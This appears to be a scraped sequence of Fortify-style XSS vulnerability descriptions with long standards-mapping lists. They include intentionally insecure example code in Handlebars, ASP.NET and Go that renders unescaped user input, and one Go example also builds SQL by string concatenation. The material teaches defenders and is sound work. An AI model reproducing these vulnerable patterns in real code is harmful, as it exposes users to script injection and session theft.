[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.config.java.xss_external_links
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. Using Handlebars, you can create custom helpers that can be used to modify templates.


2. The data is included in dynamic content that is inserted into a template before being rendered without validation. In the case of a Handlebars helper, malicious content is rendered as the output of the template.

The malicious content in a Handlebars helper takes the form of a JavaScript segment, or any other type of code that the browser executes. As the output from a Handlebars template is typically HTML content to be passed to the browser, any potentially malicious content should be treated as unsafe and validated.

Example 1: Consider the following Handlebars helper code:


Handlebars.registerHelper('bolden', function (aString) {
return new Handlebars.SafeString("" + aString + "")
})
// ...
let template = Handlebars.compile('{{bolden someArgument}}')
myElem.innerHTML = template({someArgument: userInput})


The bolden helper is passed the user-controlled data userInput. Although the use of double curly braces ({{ and }}) typically means that the output will be HTML-encoded, in this scenario the bolden helper overrides any validation by passing the input into new Handlebars.SafeString(), leading to the input being rendered as regular HTML. When the HTML returns from template() it is passed into the innerHTML property leading to a DOM-based XSS.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_handlebars_helper
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web or mobile application through an untrusted source. In the case of Inter-Component Communication XSS, the untrusted source is data received from other components that reside on the same system. In the mobile world, these are applications running on the same device. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 1: The following ASP.NET code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


String eid = Request["eid"];
...
EmployeeID.Text = eid;


Where EmployeeID is a server-side ASP.NET control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeID" runat="server"/>
...
</form>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ASP.NET code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
string name = "";
using (SqlConnection conn = new SqlConnection(_ConnectionString))
{
string eid = Request["eid"];
SqlCommand cmd = new SqlCommand("SELECT * FROM emp WHERE id = @id", conn);
cmd.Parameters.AddWithValue("@id", eid);
conn.Open();
SqlDataReader objReader = cmd.ExecuteReader();

while (objReader.Read())
{
name = objReader["name"];
}
objReader.Close();
}
...

EmployeeName.Text = name;


Where EmployeeName is a server-side ASP.NET control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server"/>
...
</form>


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Struts 2). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Anti-Cross Site Scripting Library MSDN
[2] Understanding Malicious Content Mitigation for Web Developers CERT
[3] HTML 4.01 Specification W3
[4] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[5] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[23] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2021 A03 Injection
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_inter_component_communication
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Inter-Component Communication XSS, the untrusted source is data received from other components that reside on the same system. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.


Example 1: The following Go code segment reads a user name, user, from an HTTP request and displays it to the user.

func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}


The code in this example operates correctly if user contains only standard alphanumeric text. If user has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Go code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack affects multiple users. XSS began in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As shown in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As shown in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker can perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
